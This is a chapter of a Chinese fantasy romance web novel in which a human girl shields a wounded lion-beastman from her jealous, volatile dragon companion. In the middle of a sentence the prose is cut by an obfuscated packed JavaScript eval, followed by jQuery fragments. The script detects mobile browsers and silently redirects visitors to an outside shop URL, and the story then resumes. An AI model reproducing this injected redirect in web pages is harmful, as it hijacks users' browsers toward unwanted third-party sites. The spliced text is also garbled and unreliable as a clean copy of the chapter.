龙存在于瑟兰古所有生物的恐怖想象里,地宫在这片大陆上是个禁地,所以几乎没人近距离见过龙,只有少数兽族透过云层看到过它的影子。
狮六一动不动,他的心跳几乎突破了极限,呼吸却越来越轻,背对着一个庞然巨物,那种压迫感几乎渗透到了骨头缝里。
他透过女孩的眼睛观察着龙的动作,几秒钟漫长得像是一整个瑟兰古月。
狮六冒出一个不合时宜的念头:这个人类的眼睛真清澈。
他第一次看见如此清透的眼睛,而他观察到的其他人类和兽族,眼睛都是浑浊的。
龙动了动,似乎在观察他。
“伊……江……阿……”狮六不知道该叫什么,他艰难地吞咽了一下口水,用极低的声音说道,“你的朋友,好像要吃了我。”
刚才他就觉得不对劲,那一道道雷,好像在往他身上扔,但又不敢扔太准,就像怕伤了他身边的人。
狮六一颗心愈加冰凉,刚刚女孩说让他别动,是动了有危险,还是让他乖乖被龙吞掉?
越想越觉得后一种可能性比较大,他胸腔里泛上来一阵苦涩,在屋里的时候还说……
他就知道不该相信人类,眼下只能靠自己奋力一搏了!
江浸月不知道他这些想法,只是有些拿不准梵泽现在的状态,他看上去……有些愤怒。
因为狼崖吗?可他现在盯着狮六蠢蠢欲动。
保险起见,江浸月准备把中间站着的狮六一点点推到一边,然后自己上前一步跟梵泽交流交流,哪知电光火石间,狮六突然暴起,准备往房顶上蹿。
龙一摆尾,将他重重拍到地上,紧接着张开了深渊巨口,想将他吞下去。
狮六胸腔剧痛无比,一时间动弹不了。他眼睁睁看着龙首突然暴起然后俯冲下来,预计马上就能听到自己骨头的断裂声——
堪比几个瑟兰古年的几秒过后,预期的疼痛没有出现。
狮六睁开眼睛,见江浸月面对着他,挡在那张血盆大口前,她好像也很紧张,慢慢睁开一只眼睛,然后两只。
有些滑稽。
“我说了不要动。”
她语气里没有责怪的意思。
狮六紧绷的身体也放松了一点,他挠了挠头,小声说,“我以为……”
“阿月。”
狮六的话还没说完,就听见另一个陌生的声音响起,他看过去,是那个叫梵泽的男人。
龙消失不见,他站在那里,脸上一片阴翳。
狮六双手撑地盯着对方,心想,自己有两次都差点死在这个人手里。
人类女孩冒着生命危险来救的,也是他。
——
江浸月迅速转过身去,见眼前终于是熟悉的梵泽,只是整个人看上去非常憔悴,身上到处是伤口,眼神阴郁。
她站在梵泽身前,心里涌上来一阵阵难过,“对不起,我没能保护好你。”
梵泽什么也没说,而是向她靠近一步,然后抱住她,将头埋在她的颈间。
“阿月。”他又唤了一声。
他的双手收紧,江浸月觉得有些呼吸困难,但是也没有推开他,梵泽好像没什么安全感,他总是反复确认自己会不会被抛下。
“是我。”
狮六看着两个人亲密的动作,突然觉得自己很多余,他又觉得生气,但不知道在气什么。
在气江浸月。
可明明她什么也没做,甚至在关键时刻还冲在前面……狮六越想越不明白,喉咙里一阵抽痛,“咳咳……”
听到背后传来猛烈的咳嗽声,江浸月想起狮六刚才摔得那一下好像很严重,她推了推身前的人,梵泽这才松开她。
“他是来帮我的,没有敌意,不要伤害他。”斟酌了一下措辞,江浸月指着地上的狮六说。
梵泽看过去,脸上没有任何表情。
江浸月去扶狮六,但是他一掌挥开她的手,“不用你帮忙!”
说罢,他自己撑着墙壁踉跄着站了起来,期间还吐出一口血。
江浸月的手尴尬地收回,“很疼吗?”
“用你管!”狮六靠在墙上大口喘气,眼睛看向别处。
什么人啊这是??又不是我打的你!!
江浸月不知道这人为什么突然间气性这么大,但看在他以命相帮的份上,怕反驳了再把他气死,索性保持沉默回去查看梵泽的伤势。
狮六孤零零站在一边更加来气,他一拳砸在墙上,“我说你这个人……”说着说着,他抬头看了看,风好像停了。
雨也停了,只剩一地狼藉。
“有想起来什么吗?”江浸月抬起头看向梵泽,她想问为什么看上去好像是你在操控雷电和风暴,但是怕伤到他,于是换了个说法。
梵泽垂下眼睛看向自己的手:“我想,杀了他们。”
杀了那头黑色豹子,杀了这只灰狼首领,杀了……旁边这头碍眼的狮子。
或许不是每一个人都想阻挠他和阿月待在一起,但是他不在乎,既然可以让他们死,就让他们死。
在感受到无穷的力量时,这是龙内心最真实的想法。
江浸月理解了一半,她觉得梵泽在豹二手里一定受到了严重的伤害,这种念头可以理解,但是龙的力量不可控,他势必会伤到无辜的人。
像小虎和狮六这样的人。
狮六也理解了一半,他倒抽一口凉气,凭借狮子的直觉,他认为这个男人说的“他们”里包括自己。
听小虎的描述,这个男人并不像他的原型一样可怕,甚至还在江浸月的要求
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17507685|202415||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
下救了小虎的妈妈,“他只是……很奇怪。”小虎这样说。
狮六问怎么个奇怪法?小虎回忆了一下,“他好像看不见别人,眼睛只看向姐姐。”
想到这里,狮六将目光放在眼前的女孩身上,他竟然可以理解,她身上有种沉静又凛冽的气质,就算在绝境里,想到的也是让身边人先走。
朋友……狮六想到这个词。
脸颊突然热热的,狮六回过神来,往右瞥了一眼,这一眼立刻把他惊得跳起来,身上立刻又痛得他跪下去。
“什么玩意儿!”
为什么他金灿灿的毛发在着火!!
幽蓝色火焰正肆无忌惮地舔舐着他右脸的毛,他扑腾了两下,本该灭掉的火苗燃得更加旺盛,眼看就要烧到眼睛。
“梵泽!”狮六听见女孩的声音里罕见地带上了情绪。
她在生气。
江浸月当然生气,因为狮六脸上的火是龙焰。
话音落地,火苗立刻消失,她看了梵泽一眼,又立刻凑到狮六身边,好在只有一缕毛发被灼掉,没有伤到皮肤。
她伸出手想撩开狮六的毛发确认一下,这次对方没有怒气冲冲地将她推开,而是堪称乖顺地没有动。
一只大掌从身后伸出,钳住了她的动作,江浸月抬头看见梵泽漂亮又略带委屈的眼睛。
“阿月,不要。”
不要管他。
梵泽几乎是无意识捏紧女孩皓白的手腕,刚刚,还有现在,这头狮子将目光一直停留在她身上,心里的黑气在五脏六腑间沸腾。
焦躁。
想烧瞎他的眼。
“我们离开。”他的语气里几乎带上哀求,完全不像能把人的生命捏在掌心的死神。
江浸月轻轻把自己的手挣脱出来,她觉得梵泽整个人都不稳定。
对方的脸色更加黯淡。
“要把他一个人丢下吗?我说过了啊,他是来帮忙的,现在因为你受了重伤,我们如果一走了之,狼崖之后会怎么对他?我们是来找人的,不是来伤人的。梵泽,如果你想扭转这个世界所有族群对你的印象,就不该伤害无辜的人。”
江浸月的声音有些无力,“我要回家,要找到古蛇,还需要问狼崖一些问题,现在走的话去哪呢?这个世界没有我的容身之地。”顿了顿,她又说,“是我的错,我不应该让你跟过来,如果你想走的话现在就动身,趁着他们还没反应过来。”
每个字都像一根刺扎在梵泽的心上,他觉得浑身好冷,比泡在暗河冰冷的水里还要冷。
“家……在哪?”他问。
就算被厌弃了,他也想知道,阿月的家在哪。
良久,梵泽才听到一声叹息。
她开口:
“在一个没有龙的世界。”